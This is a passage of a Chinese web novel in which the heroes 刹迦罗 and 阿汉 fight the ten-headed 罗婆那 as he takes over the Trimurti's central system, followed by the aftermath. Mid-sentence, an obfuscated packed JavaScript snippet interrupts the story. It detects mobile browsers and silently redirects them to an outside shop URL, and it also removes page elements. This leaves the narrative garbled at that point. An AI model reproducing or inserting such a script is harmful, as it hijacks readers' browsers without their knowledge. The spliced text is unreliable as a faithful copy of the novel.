他顿了顿,见刹迦罗一脸惊愕,便又道: “怎么了?毗沙门天,你好像很吃惊的样子——是因为那个刹帝利临阵倒戈打算站在你们这一边?还是因为罗婆那可以查看三连神的访问记录?” 见刹迦罗站在原地纹丝不动,连额角的汗水淌过眼珠也无动于衷,少年冷笑道: “没用的,毗沙门天,现在再与中央神庙连线启动紧急外部保护,已经太迟了。” 他举起手中的莲花。 “罗婆那在最终进化时已经开始入侵三连神的系统,当这朵莲花完全变成黑色……也就是核心代码被罗婆那完全改写,获得最高权限的时候了。” 访问拒绝。 访问拒绝。 启用四天王特别访问权限——D-1037豁免指令装载——附加毗沙门紧急议案。 核对访问权限……通过。 豁免指令装载完成。 毗沙门紧急议案通过5号通道提交中央系统。 北方毗沙门天王以特别访问权限附带最高豁免指令,通过5号通道向我们提交了紧急议案,内容是立即启动外部保护,以北方毗沙门天王的安全源代码为基础,重置中央系统的防火墙,拒绝任何带有危险意图的读写行为,并清除一切不明来源的异常数据——以上是北方毗沙门天王提交的第2471·623·4·679382号议案,表决开始——毗湿奴,赞成,无附加条件。 梵天,否决。 湿婆,弃权。 梵天……竟然对紧急议案投反对票? 第二轮表决开始——毗湿奴,赞成,无附加条件。 梵天,否决。 湿婆,弃权。 “罗婆那说过了,现在无论做什么,都是没用的。”少年的蝶翼缓缓振动,扬起无数星尘,他已经和三连神的中央系统共生并且以几何级数的惊人速度开始侵蚀核心代码,首当其冲的便是梵天。 第三轮表决开始——毗湿奴,赞成,无附加条件。 梵天,否决。 湿婆,否决。 那么,北方毗沙门天的紧急议案驳回。 “湿婆!!” “他们现在自顾不暇,正忙着逆运算呢……不过这些都是徒劳的。” 黑色的莲花妖光闪动。 中央系统发现异常代码入侵,其特征确认为北方毗沙门天王;执行“卡尔蒂凯耶”防御程序,内容是立即封闭北方毗沙门天王在中央系统中的一切活动,并且对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363300|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其进行反馈式攻击——以上是梵天提交的第2471·623·4·752345912号议案,表决开始——梵天,赞成,无附加条件。 毗湿奴,否决。 湿婆,赞成,无附加条件。 那么,“卡尔蒂凯耶”现在启动。 刹迦罗正试图再次启动外部保护,却没想到中央系统突然开始对他采取黑色级别的反馈攻击,他立即切断了与三连神的一切连接,但眼前还是暴起一团血雾。 视野恢复,罗婆那的光夺目依旧,他捂住了自己的右眼。 “毗沙门天,你连右眼也不想要了么?”少年冷冷地问。 刹迦罗剧烈地喘息着,他从未料到三连神居然会变成敌人。 “为什么要这么维护三连神呢?罗婆那也可以令你继续以高位天神的身份受到崇拜,你还是可以和原来一样拥有强大的力量和无穷的财富,罗婆那甚至能比三连神给得更多。” 刹迦罗低声笑了起来。 “成为至高者……果真这么好吗?……世界上可没有不用付出代价就能实现的愿望。”他望着罗婆那,“持国说得对,中央不动尊明王做不到,我也做不到……” “而你……罗婆那。”刹迦罗的身上再次现出强烈的金光,“你同样做不到。” 少年不置可否,沉默了片刻抬起头来。 “那么,开始动真格的吧——这么打下去实在很没意思,都使出看家功夫如何?” “听上去不坏。”刹迦罗说。 “总算有机会见到毗沙门天的最终奥义了。”少年微笑道,“据说一个时代只能用三次,威力之大就算三连神都要畏避七分,每次使用之后有长达千年的虚弱期,除了休养生息外什么都做不了……” 刹迦罗脸色阴沉。 “你在十八万年前用了第一次并且成功,但在千年前的明王战争中第二次使用却失败了——你亲手杀了降三世明王,眼睁睁看着大威德明王自杀,后悔不已的你试图用那最终奥义改变既成事实,可却被三连神动用最高支配权否决了……这一次三连神派你来摩诃,是不是算准你已度过了虚弱期,把你的第三次奥义当成最后的王牌了呢?” “看来你什么都知道了。”刹迦罗苦笑一声。 “因为能够读取三连神的数据库,所以再也没有什么事情能瞒过罗婆那的耳目。”少年点了点头,“只不过现在看来,三连神已经没有机会让最后的王牌生效了。” 说着他转向阿汉。 “你还是不太明白,为什么罗婆那能使用毗沙门天的招式把汉巴达炮反弹吧?” “……” “那么再看看这个吧。”少年手势一变,他的脚下竟出现了莲花法阵。 幻非天·狮子奋迅咒·夜叉虚空藏究级释暗波! “千年前,你就是用这一招杀掉降三世的吧?” 阿汉的明王护盾罩在了刹迦罗的结界外。 “阿汉!”刹迦罗低吼。 但阿汉并不理会他,明王之力被激发至顶点,他打算硬接下罗婆那的释暗波。 “不然你会死的。”阿汉面无表情地回头甩了一句。 “……” 刹迦罗正想说些什么,突然空中猛地变暗。 罗婆那的光被一个半透明的黑色球体遮挡,光球裹住来势汹汹的释暗波,一阵沉闷的鸣叫声过后,黑色球体迅速收缩,破坏力惊人的夜叉虚空藏究级释暗波居然凭空消失。 “是不是很眼熟呢?”少年的左手黑光闪烁,他五指一合便将其驱散。 “军荼利明王拥有极为出色的空间控制能力。”罗婆那说,“被那些空间吞噬的东西究竟去了哪里,也许连他自己也不清楚……本来把他吃得只剩一具躯壳,获得了这能力已经令罗婆那欣喜若狂,比如从此可以随心所欲地在不同位面迁徙什么的……可是罗婆那完全没想到,军荼利身上,原来还有更大的惊喜。” “……” “你们猜猜,罗婆那在军荼利的脑子里还发现了什么?” “是其他几位明王的机体设计图吧。”刹迦罗说。 罗婆那一怔。 “军荼利一直是极有野心的人,虽然他一直蛰伏于中央不动尊明王之下。”刹迦罗说,“他从释迦那里偷走了明王机体的设计图,善见城决战他落败逃走,利用控制空间的能力逃开所有人的耳目躲进帝拜……” 他抬头望着罗婆那。 “他本来打算在帝拜称王后,利用他手中的设计图,对婆罗门、刹帝利、吠舍还有首陀罗进行规格不同的机械改造,假以时日他就能拥有一支数量庞大战斗力强横的机械阿修罗军团,至于要拿这支军队做什么……不言而喻——不过他的愿望也实现了,尽管他本人已看不到这一天。” “但是,罗婆那。” “如果你看过了释迦的明王机体设计图,想必应该明白当初三连神对其否决的原因吧?” “哦?那是什么呢?” “明王机体确实可以极大地提高战斗力,但与此同时也会带来某些副作用。”刹迦罗摇了摇头,“三连神的评估没有错,经过机体改造后的五位明王,全都出现了这样的情况,他们精神体中的某些负面成分随着能量的急剧增强而被无限放大,所以到了最后他们已经变得和原来完全不同了。” ——那至,当他成为中央不动尊明王后,开始疯狂地追求最强大的力量,渴望与最强的对手战斗渐渐成了他全部的意义,原本企图推翻三连神创造新世界的想法,当他只身闯入无往虚空挑战三连神时,早已不存在了。” 中央不动尊明王的负面反应,是嗜战。 ——耶罗,当她成为降三世明王后,对那至的倾慕逐渐超乎一切,只有那个人能在她眼中留下倒影,那至成了她战斗乃至生存的唯一理由,她对那个男人的迷恋和崇拜已经到了痴狂的程度,在她眼里,那至是完美的,他的一切想法都是真理,他的任何行动都代表正义,至于其他人,包括自己,她一概不再关心;被她爱上的人犹如身在天堂,而被她憎恨的人,全都坠入地狱。 降三世明王的负面反应,是偏执。 “军荼利明王的负面反应……”刹迦罗笑了笑,“大概是贪欲吧?” 少年沉默不语。 “想要变得强大,想要所有人臣服自己,想要得到一切渴望的东西……他想要的东西太多,永无止境的欲望甚至令他感到痛苦,直到……直到他遇到了你。”刹迦罗说,“被毗湿奴的化身击败放逐后,你似乎一直在帝拜过着平静的生活,身为婆罗门,从来不争夺阿修罗王的宝座,也没有任何阿修罗胆敢触犯你……可是当你反噬军荼利后,似乎完全变了——以‘明帝’为幌子发号施令,看起来一切事不关己,实则成了帝拜地位最高的人。” 罗婆那,你吃掉了军荼利,却也沾染上了他的贪欲。 改造阿修罗,组建机械大军,军荼利的想法,你全都替他实现了。 现在你开始入侵三连神的中央系统,企图篡夺最高支配权。 这一切,果真全都出自你自己的意图吗? 究竟,谁才是谁的傀儡呢? …… “毗沙门天,你……”少年喃喃自语。 突然他的头颅开始连续不断旋转,速度越来越快。 交替闪烁的面孔模糊难辨,十个重叠在一起的嗓音异口同声: 余兴节目结束,决胜负吧。 罗婆那的人化形态消失,转眼间变成了超巨型机械体。 十个庞大的金属人头,张口就能吞下日月星辰,它们的呼吸凝聚成云,吼声如雷,一眨眼就激起闪电,一百只形态功能各异的机械臂伸向四面八方,在这个几乎有整个楞迦城那么大的机械体顶部,莲花状的光团中,少年在九个人头的环侍下跳舞。 这就是幻非天十首王罗婆那的真正形态。 梵天自莲花中而生后创造世界,世界又在湿婆的末日之舞中归于梵天,罗婆那已经将自己与三连神其中的两位置于对等地位,而九个人头围绕着少年旋转,象征着对宇宙的调合,一旦他参透了毗湿奴的秘密,就可以完全取代三连神的职能。 毗沙门天,大威德,小心了唷。 “卡尔蒂凯耶”程序启动,内容是立即删除北方毗沙门天王和大威德明王的源代码以及全部衍生数据,剥夺他们的物理和精神存在,被删除的数据将无法恢复——以上是梵天提交的第2471·623·4·752345916号议案,表决开始——梵天,赞成,无附加条件。 毗湿奴,否决。 湿婆,弃权。 那么现在开始第二轮表决。 刹迦罗和阿汉突然全身无法动弹,天神机体和明王机体所有的警报都开始锐鸣。 罗婆那控制梵天提交议案…… 如果他们在中央系统里的数据被强行删除,那么就意味着他们会立即从这个时代彻底消失! 梵天,赞成,无附加条件。 毗湿奴,否决,附带条件冻结该议案。 湿婆,弃权。 梵天,赞成,附带条件忽略毗湿奴提交一切条件。 毗湿奴,否决,附带条件暂时剥夺梵天的投票权。 湿婆,弃权。 梵天,赞成,附带条件启动最高豁免。 毗湿奴,否决,附带条件启动最高豁免。 湿婆,弃权。 …… 看样子对湿婆的侵蚀还不够彻底啊…… 梵天和毗湿奴一对一是无法分出胜负的呢…… “大伙加油吧。”少年微笑道。 九个人头齐声称是,罗婆那的机械体上九个头颅流光溢彩,纷纷启动最大能量。 “拉克希米”程序启动,内容是立即对北方毗沙门天王和大威德明王的源代码以及全部衍生数据做紧急备份,该备份将拒绝任何由三连神提案引发的读写和删除操作——以上是毗湿奴提交的第2471·623·4·752345917号议案,表决开始——毗湿奴,赞成,附加条件利用最高豁免忽略梵天的反对票。 梵天,否决,附带条件毗湿奴的下一项议案将不能使用最高豁免。 湿婆,弃权。 那么,“拉克希米”现在启动。 …… 湿婆,你是属于罗婆那的!! …… 现在开始进行对第2471·623·4·752345916号议案的第六十七轮投票。 梵天,赞成,无附带条件。 毗湿奴,否决,无附带条件。 湿婆,赞成,无附加条件。 那么,“卡尔蒂凯耶”现在启动。 刹迦罗发现自己的身体在消失。 他和阿汉的存在遭到剥夺,已无法再继续存在于这个世界、这个时代了。 躯体崩溃为无形,意识开始模糊起来。 感到自己在不断膨胀扩散,越来越稀薄,越来越轻,就像在蒸发。 九个金属头颅发出的光交织成迷乱的幕帘,浸染着死寂的楞迦城。 然而,正当刹迦罗和阿汉连最后的绝望和不甘都即将消逝时,他们的意识和身体却又恢复原状。 两人面面相觑。 “看来毗湿奴是铁了心要保住你们了。”少年冷冷地说,“这也难怪,梵天和湿婆都已经倒戈,你们现在是他最后的救命稻草了嘛……” “若毗湿奴动作再慢一秒,刚才就可以直接让你们消失的,毗湿奴给你们的备份数据写了保护,要直接删除已经不可能了……”少年耸了耸肩,“不过,毗湿奴也付出了高昂代价,下一个提案,只要不是针对你们,无论是什么内容,失去最高豁免的毗湿奴也无法在投票轮中以一对二。” 九个头颅中有六个停止运转,开始将视线集中在刹迦罗和阿汉身上。 “要干掉你们,花点功夫直接让你们化为灰烬就好!” 幻非天·军荼利施无畏印·空间·冥! 黑色光球从罗婆那的十个头颅顶端急速扩散,转眼间已吞掉了楞迦城。 驻守在城外的阿修罗大军也被囊括其中。 半径八百公里内的所有物质,被空间·冥吞噬后,都将转为罗婆那的能量。 罗婆那的最终大礼马上就到,敬请期待,哈哈哈哈—— 刹迦罗和阿汉能感到这个婆罗门的能量再次激增,比刚才不知要大出多少倍。 除了他们因为有明王护盾和宝幡结界的防护而得以幸免外,空间·冥里的一切有形物全都无影无踪,空间·冥的效力解除后,空气涌入这个巨大的真空区,掀起规模惊人的强烈气流。 罗婆那全身光芒大作,高度渐渐上升,不知这一次又在酝酿什么可怕的绝技。 它反噬了军荼利得到了控制空间的能力,通过军荼利的记忆获得了所有明王机体的秘密,吸收了降三世后它开始逐渐能够看透三生三世,它还侵蚀了暗黑帝释天得到了无限能量。 它的精神力强大得无人能敌,它甚至可以直接侵入中央神庙,并使三连神其中的两位支持它的意图。 待它参透了过去、现在和未来,突破毗湿奴的最后防线将其控制并由此获得最高支配权……还有什么事能难倒罗婆那呢? 它将法力无边,无所不能,成为万有之神,主宰一切。 阿汉解除了明王护盾,走到刹迦罗身边。 他拿过宝幡,收好之后递还给了刹迦罗。 刹迦罗一言不发地盯着他。 “卡玛……”阿汉低声说,“请你好好照顾她。” “好。”刹迦罗点了点头。 突然他的拳头猛地朝阿汉挥去。 阿汉没有闪躲的意思,脸上硬挨了刹迦罗一拳,魁梧的身躯后退了好几步才稳住。 “罗婆那对一切天神的攻击都免疫。”阿汉擦了擦嘴角的血,“就算是你的最终奥义也伤不到它。” 刹迦罗无言以对。 “要打败罗婆那,这是唯一的办法。”阿汉转身,朝那个通体发光的机械体前进。 “二十一年前,你和三连神之间,到底达成了什么协定?”刹迦罗突然开口问。 阿汉停下脚步。 “只要她幸福,我做什么都可以。” “也包括使用武将之泪在内吗?!”刹迦罗怒吼。 “……” “武将之泪……”刹迦罗自言自语,“没错,武将之泪……” “武将之泪用出来,别说是罗婆那,什么东西都能毁掉,谁能想到三连神都惧怕的招式会被你悟到?汉巴达……其实你才是五大明王中最强的一个。”刹迦罗摇头,“但你也是最笨的一个。” “……” “用武将之泪毁灭罗婆那,然后呢?”刹迦罗问,“然后她就会幸福吗?” 阿汉沉默着。 许久之后,他才低声说: “活着,总有能遇到幸福的机会。” “死了,就什么也没有了。” 阿汉的躯体开始变形。 完全褪去人类形态的外表,他现出了大威德明王的本体。 罗婆那的能量反应达到了顶点。 22. 第 22 章 当卡玛醒来,她发现自己在一个诡异的地方。 地上堆积着不计其数机械残体,仔细一看,发现全都是支离破碎的阿修罗。 它们有的还能活动,身上连上了密密麻麻的线缆,蓝色的能量光流被源源不断地通过那些线缆被抽取,那些没有被插上线缆的阿修罗浑身暗淡无关,眼窝漆黑一片。 她所在的这个阿修罗尸堆,密密麻麻地堆放了成千山万个报废,或即将报废的阿修罗,放眼四周,空旷无垠的黑暗空间里,还有无数个同样的尸堆。 这里是……阿修罗的坟场吗? “你……居然没事。” 身后突然传来一个嘶哑的声音,卡玛飞快地转过身。 她看到一个阿修罗正被悬挂在半空,粗细不均的线缆缠着他的躯体,就像结了个茧,他的能量被不断吸收,再看向他的脸,卡玛突然倒抽了一口冷气。 “你……你是……”她低叫,“西洛?” 那个阿修罗的确是西洛,然而他现在的样子看起来糟透了。 卡玛脑海里飞快地闪过无数杂乱的画面——之前发生的事情,她被带到这里来之前所发生的事情。 她被那个少年带到了帝拜……巨大但空无一人的城市,那就是楞迦。 少年将她放置在楞迦城顶端的祭坛上,对她使用闻所未闻的法术。 她感到有个什么东西从她体内被活生生抽离。 “罗婆那吸收了降三世的精神体,现在你是自由身了,卡玛小姐。”西洛淡淡地说。 “后来呢?” “后来?毗沙门天王和大威德明王找上门来,和罗婆那大打出手。” “把我救出来的人是你?”卡玛问,“为什么?” “我好像每次都押错宝啊。”西洛自我解嘲地笑了笑。 “我们为什么会在这里?”卡玛追问。 “罗婆那制造了一个巨型空间,把其中所有的东西都转化为能量吸收……喏,就像这样。”西洛努了努嘴,“我带着你还没逃出楞迦城就被吸进来了——这里是罗婆那的体内。” “那我为什么……” “因为你们被吸进来的时候,那个刹帝利用自己的身体变成空心球体把你裹住,所以你没事。” 另一个声音从头顶传来,卡玛抬头望去。 一双赤红色的眼正盯着她。 那双眼几乎覆盖了空间的顶部,而两眼之间,悬吊着一具赤裸的女性身躯。 “降三世!”卡玛低叫。 降三世的躯体已经被吃掉了大半,一半身躯覆盖着苍白的皮肤,另一半已将黝黑的机械组织暴露无疑,她只有一条完好的腿,另一条腿被啃得只剩支架,触须状的线缆钻进她的脑子里,她位于左胸的机体核心寄生着大大小小的卵状物,其中一部分已经孵化,昆虫状的小型机械体正唏唏嗦嗦地朝她体内渗透。 “他终于还是骗了我。”降三世淡淡地说,“他答应过,若我见不到那至,就亲手杀掉我的。” 她笑了笑,泪水滑落,这引起了那些在她身上爬动的机械昆虫的兴趣,纷纷凑过来吸食分析。 “被罗婆那吸收的时候,我还很开心来着,如果这样能在一起,被吞噬被当成养料我都可以不在乎……”她费力地转脸,眺望远方,“结果终究还是空欢喜。” 顺着降三世的视线,卡玛发现在这个空间的尽头,矗立着一些巨型机械体。 它们构造各异,但体积都普遍不亚于阿什提的摩天大楼群。 它们全都被结了茧,同时不再拥有行动能力,其中有两台看上去已经沉默了不知多少年。 “新的那一个是暗黑帝释天,罗婆那侵蚀得并不彻底,所以只得到了一部分;比较旧的那两个,一个就是军荼利,另一个……”降三世一脸木然。 “为何唯独他……是赝品?为什么?……” “罗婆那从军荼利那里得到了明王机体的设计图,迫不及待地开始重新构造中央不动尊明王,它试图通过这种方法破解中央不动尊明王的能量体系,事实上罗婆那也的确成功了,虽然同样不完整。”降三世说,“可是,那只是罗婆那依照设计图,再加上自己的想法造出来的东西,外表的确神似,但赝品就是赝品……他的灵魂不在那个东西里面。” 她看着卡玛。 “你说得对,卡玛。”她轻声说,“楞迦城里没有中央不动尊,那只是罗婆那为了得到我的力量而编造的谎言,我注定见不到他。” 卡玛不知该说些什么。 “走吧,卡玛。”降三世眼中红光一闪,数十个机械触手从她背后伸出,咔嚓咔嚓地开始解除束缚西洛的线缆。 “带着这个刹帝利走吧。”她面无表情地说,“凭体内残余的能量,他可以用瞬间移动术带着你到枉死城,那里是暗非天热阔的地方,他跟罗婆那交恶已久,不会太难为你们的,等楞迦城的事结束,你就可以回到摩诃过正常的生活了。” “等等,降三世!” “现在的你已经是人类了,你头顶已经没有黑色莲花的图案,虽然还是拥有一些超能力,血液依然是蓝色,但你的的确确是人类了。”降三世冷冰冰地说,“现在,你们快走吧。” “请等一下!”卡玛叫道。 “你还想知道些什么?” “阿汉他……他……”卡玛急得有些语无伦次,“他究竟想做什么?” 降三世怜悯地看着她。 “你也感觉到了,是不是?” “之前我就有这样的感觉了……”卡玛叫道,“罗婆那想方设法地要把我……不,想要把你带到帝拜,就是为了吸收你的力量,它还吸收了暗黑帝释天,吃掉了军荼利,吞噬了这么多阿修罗……” 降三世沉默着。 “但它从来不会打阿汉的主意,为什么?” “阿汉也是明王,也拥有连天神都畏惧的力量,罗婆那有无数机会可以侵蚀他,却从来不曾对他下手,为什么?” “降三世,阿汉身上……到底还藏着什么秘密?他究竟打算干什么?!” 卡玛泪流满面。 阿汉他……莫非要和罗婆那同归于尽? “不是同归于尽。”降三世开口,“但也差不多。” “什么?……” “事到如今,我就告诉你吧,小女孩。”降三世冷哼一声,“在罗摩神庙,希兰亚卡悉布——虽然披着军荼利的皮,但实际上他就是罗婆那——那个家伙告诉你的关于明王战争的事,都是真的,对明王机体的描述,也八九不离十。” “明王机体确实可以极大地提高战斗力,但也会伴随副作用,严重的情况会导致精神体受损性情大变,所以那三个老家伙才会否决释迦的提案。” 降三世冷笑一声。 “不过讽刺的是,明王战争之后,三连神为了弥补须弥损耗严重的战斗力,把这技术拿来改良了一番,用在了天神身上,比起可以借着发狂暴走无限提升能量的明王机体,能量峰值恒定的天神机体要稳定很多,说起来释迦后来成了毗湿奴的化身之一,三连神改良他的技术并推广运用,连专利费和使用许可证都省了。” “后来帝释天在摩诃建立世界集团,把天神机体再进行大幅简化后开始批量生产,这就是在摩诃到处可见的人造人体;而另一方面,军荼利带着偷来的机体设计图逃到帝拜,罗婆那把他吃了,开始利用那些资料对阿修罗进行改造,这就是阿修罗机体——”她嘶哑地笑了起来,“很可笑吧?一切都因释迦的发明而起,结果闹了那么大半天,死了那么多人,毁了那么多东西,兜了一个大圈子,现在他的发明还是同时影响了须弥、摩诃和帝拜三界,真是蠢哪……天神、人类、明王、阿修罗……其实全都一样。” “明王机体的副作用,到底是什么?”卡玛打断她的话。 “副作用?精神体中的某一部分遭到放大,进而占据主导地位,这就是明王机体的副作用——因为曾经遭到某些天神的羞辱,所以那至他下定决心要变得强大,让所有欺负他的天神再也笑不出来,所以他变成明王后这个念头就不断膨胀,他不断地挑战强大的天神并在击败他们之后杀掉他们,以此来证明他是最强的……中央不动尊明王机体的副作用,就是‘嗜战’。” “……” “不过即使他变成这样,我也依然不可自拔地爱他,他打败的天神越多,我就越爱他,哪怕他只顾着变强不再看我一眼,我也铁了心地追随他,崇拜他……”降三世轻描淡写地说,“因为这种副作用也渐渐出现在了我身上——降三世明王机体的副作用,是‘偏执’。” “军荼利明王机体的副作用是‘贪欲’,至于无能胜……连我也不太清楚,没人知道释迦到底在想什么,那个叛徒。”降三世轻蔑地哼了一声,转眼盯着卡玛。 “你知道你的男人,那个叫阿汉的家伙,他的明王机体副作用……是什么吗?” 卡玛的心剧烈地跳着。 降三世的话在她耳边回荡,她手脚发麻,呆若木鸡。 “……明白了吗?”降三世说,“罗婆那可以接受那至的‘嗜战’,可以接受沙克帝的‘野心’,可以接受降三世的‘偏执’……但唯独汉巴达的,它无法接受……这就是为什么罗婆那从来不曾考虑过侵蚀大威德的原因……这就是为什么当罗婆那强大到如此地步,阿汉也依然有把握毁灭它的原因……” 因为……那是他最后的武器。 三连神会选中他,是有充分理由的。 阿汉的选择,他们早已估算到了。 活着,总有能遇到幸福的机会。 死了,就什么也没有了。 傻瓜……你这个大傻瓜! 一千年前你就是这么笨,现在也一样! “你不会比我好到哪里去,卡玛。”降三世看上去很疲惫,“我得不到那至,你也得不到阿汉,两败俱伤,最后没有人会赢,我们都是可怜虫。” 卡玛在哭,连自己被西洛抱起也浑然不觉。 “走吧,离开这里,我不想再看到你们了。” 看着那个刹帝利带着卡玛消失,降三世缓缓合上了眼。 就是忍不住要流泪。 都是因为那个大笨蛋。 他就不知道……对自己好一点吗? 让自己喜欢的人难过,他就这么乐此不疲吗? 他就……就不能对自己有信心一点吗? 如果没有我,她也一定能遇到比我好很多倍的人……这个家伙总是这么想的吧? 笨蛋……真是无药可救了…… 如果不是你,好再多倍,又有什么用? 降三世的眼中闪起红光,她的体内发出一阵细微的共鸣,像是感应到了什么似的,贪婪地啃噬她躯体的机械虫子们纷纷逃窜。 她早就不再为那至以外的任何男人流泪了。 今天情况特殊,下不为例。 大概也没有下次了吧。 “那至,我来了。” 她微微一笑。 阿汉突如其来的能量反应和明王机体的异常变化,令罗婆那感到不安。 它不记得自己曾在释迦的明王机体设计图中见过相关描述。 这到底是怎么回事? 莫非大威德……他还有杀手锏? 毗沙门天似乎极力反对大威德这样做。 算了,一个大威德明王而已,不必放在心上。 …… “你已经决定了吗,阿汉?”刹迦罗喃喃自语。 在他身边,经过不断分解重组的大威德明王的机体,已经面目全非。 见到卡玛,告诉她……我很抱歉。 “这种话,还是你自己告诉她吧。”刹迦罗说,“我没兴趣每次都当传声筒。” …… “既然如此,”刹迦罗全身再次闪起金光,“那么,开始吧。” 该结束了。 不错,是该结束了。 现在罗婆那就要使出中央不动尊明王的绝技,让你们彻底消失! 这可是当年他挑战湿婆时所用的最强奥义唷。 “千年前他在善见城之战中败给了湿婆,”刹迦罗说,“千年后的楞迦城之战,他的最终奥义也不会让你获胜,罗婆那。” 罗婆那的十个头颅齐声狂笑。 那就来试试看吧。 幻非天·无堪忍三味耶咒!! 空中出现十个太阳,光芒照遍帝拜。 一切都开始崩溃,惊慌失措的阿修罗们涌向帝拜与摩诃之间的结界裂缝。 帝拜的地表逐层瓦解,暗非天热阔不得不将藏在地底的枉死城主体升到空中。 持国天已无法再维持结界,摩诃将近九成的城市失去了电力供应,在赤道居然出现极光,地震和海啸全无征兆地席卷全球,剧烈的板块运动紊乱无章。 须弥的全部三十三层天均出现异常,善见城上空乌云压顶,电闪雷鸣,惶恐的天神们来到中央神庙寻求指引,却发现梵天手中的吠陀经燃起青色火焰,毗湿奴手中的莲花凋谢,湿婆睁开了他前额上的第三眼。 当罗婆那的光化作黑色的火,欲将三界焚毁一空时,阿汉出手了。 大威德明王刚刚向我们提交代号为“武将之泪”的特殊议案,内容是大威德明王将以自身记忆区内的数据形成引导程序,立即对幻非天罗婆那的所有相关代码进行破坏性删除,根据该特殊议案,任何加诸于目标代码上的保护措施都将被忽略——以上是大威德明王提交的第2471·623·4·1号议案,大威德明王已对其投了赞成票——毗湿奴,赞成,附加条件一个。 梵天,否决,附加条件立即冻结“武将之泪”议案。 湿婆,否决,附加条件立即冻结“武将之泪”议案。 “原来如此……但是二对二,大威德你还是赢不了罗婆那!” “阿汉!!” 听到有人在呼唤自己,大威德明王的机械体侧过脸来,怔怔地看着刹迦罗。 那个人……那个有着金色眼瞳的人…… 他是谁? 他为什么在喊那个名字? 自己为什么要在意那个名字呢? 阿汉是谁?…… 刹迦罗念起了咒文。 盛开吧,莲花。 北方毗沙门天王刚刚向我们提交了代码为“万世恩泽秘法”的特殊议案,内容不详——以上是北方毗沙门天王提交的第2471·623·4·3号议案,毗沙门天王已对其投了赞成票——毗湿奴,赞成,附加条件一个。 梵天,否决,附加条件立即冻结“万世恩泽秘法”议案。 湿婆,否决,附加条件立即冻结“万世恩泽秘法”议案。 “没有用的毗沙门天!武将之泪也好,万世恩泽秘法也好,只要罗婆那控制了三连神,你们的一切奥义都没——” 咔!!—— 罗婆那的机械体突然闪起一团暗红色的火光,就像是什么东西在它体内爆炸了一般。 它的九个头颅陆续开始无规则地转动起来,九个声音交叠在一起—— 降三世明王启动了自爆程序—— 自爆已影响到机体正常运转—— 军荼利区受到波及,27%的功能失却—— 暗黑帝释天区出现不稳定现象,能量开始朝中央不动尊区泄漏—— “降三世已经被罗婆那牢牢封印住,不是已经给了她中央不动尊吗?!……” 赝品,始终只是赝品,罗婆那。 “降三世!……” 无堪忍三味耶咒的威力开始减弱,金色的莲花开始将黑色的火焰缓缓包容。 “住手!毗沙门天!!——” 对中央神庙的控制开始松动—— 无法维持对中央神庙的控制—— 湿婆试图启动主动防御系统…… 对湿婆的占据程度缩减至68%…… 对湿婆的占据程度缩减至32%…… 对湿婆的占据程度缩减至11%…… 湿婆的主动防御系统已启动—— 咔!!—— 在可怕的咆哮声中,罗婆那的“怒·女首”和“乐·男首”崩坍,虽然立即有无数只手臂赶来支撑以防止它们坠落,但这两个头颅的颈部已经彻底折断,眼中的光迅速熄灭,蓝色的液体如瀑布般喷溅出来。 “梵天!!——”罗婆那嘶声怒吼。 现在开始进行对“武将之泪”议案的第六轮投票—— 大威德明王,赞成,无附加条件。 毗湿奴,赞成,附加条件一个。 梵天,否决,附加条件利用最高豁免忽略湿婆的赞成票。 湿婆,赞成,无附加条件。 现在开始进行对“万世恩泽秘法”议案的第六轮投票—— 北方毗沙门天王,赞成,附加条件一个。 毗湿奴,赞成,附加条件一个。 梵天,否决,附加条件利用最高豁免忽略湿婆的赞成票。 湿婆,赞成,无附加条件。 “罗婆那,你输了。”刹迦罗满脸是血,但他却在微笑,“梵天再也无法庇护你了。” 梵天试图启动主动防御系统…… 对梵天的占据程度缩减至74%…… 对梵天的占据程度缩减至59%…… “梵天!……难道你忘记对罗婆那的承诺了吗?!……” “他从来都没有忘记,你是他创造出来的,他等于是你的父亲。”刹迦罗说,“但很遗憾……” “……” “赝品,始终只是赝品。” 对梵天的占据程度缩减至6%…… 梵天的主动防御系统已启动—— 随着罗婆那的“哀·男首”和“喜·女首”先后崩溃,这位十首婆罗门已失去了它的四个头,大幅衰减的力量已无法令它再维持对中央神庙的入侵,当三连神开始对大威德明王和毗沙门天王提交的议案进行第七轮表决时,它的失败已无可挽回。 …… 那么,“武将之泪”现在启动。 那么,“万世恩泽秘法”现在启动。 …… 莲花盛开, 吞噬了黑色的火, 接住了明王的泪, 忘记所爱的人, 忘记所恨的人, 忘记曾经做过的事, 忘记自己是谁。 劫波刹那,芥子须弥, 全部的时间和空间, 也盛不下过往云烟。 …… 一切都结束了。 再见了,阿汉。 再见了,卡玛。 ……………… ………… …… ……世界集团的官方发言人在今天上午十点举行的新闻发布会中透露,世界大厦的维修工作进入第十八天,总体进展顺利…… …… ……阿什提再次爆发游行示威,各国反人造人体组织声讨世界集团,有言论尖锐指出该集团将不稳定的技术民用化牟利是反人类行为,阿什提市当局投入大批警力维持秩序,目前局势已经得到控制…… …… ……大厦主体已经完成初步固定,瓦杰拉建筑集团的有关负责人称目前世界大厦已经没有再继续使用反重力系统…… …… ……该发言人还表示,世界集团高层已经和各国政府开展积极合作,努力消除前一段时间集团位于阿什提市中心的总部大楼遭到恐怖袭击所带来的全球性影响…… …… 男人突然睁开了眼。 他躺在床上,不着一丝。 他面无表情地望着天花板。 他的右眼充盈着淡金色,没有瞳孔,浑浊一片。 右眼中的金色凝聚在一起,表面的那层浑浊褪去后,显露出精光湛然,完美无瑕的金瞳。 他的左眼始终呈现阴暗的灰色。 他看到了天花板上淡黄色的光。 他闻到了一股在他的床上和身上萦绕的陌生香气。 他听到了电视机里播放的早间新闻。 ……经过接近三周的萎靡不振后,全球股市走势终于在新一个交易日出现温和上扬,分析家认为这与世界集团采取IIR程序大力重建投资者安全感有感…… ……本月十六日发生的全球异常现象原因调查还在进行中,科学家已经否认太阳耀斑活动造成异常现象的可能性…… 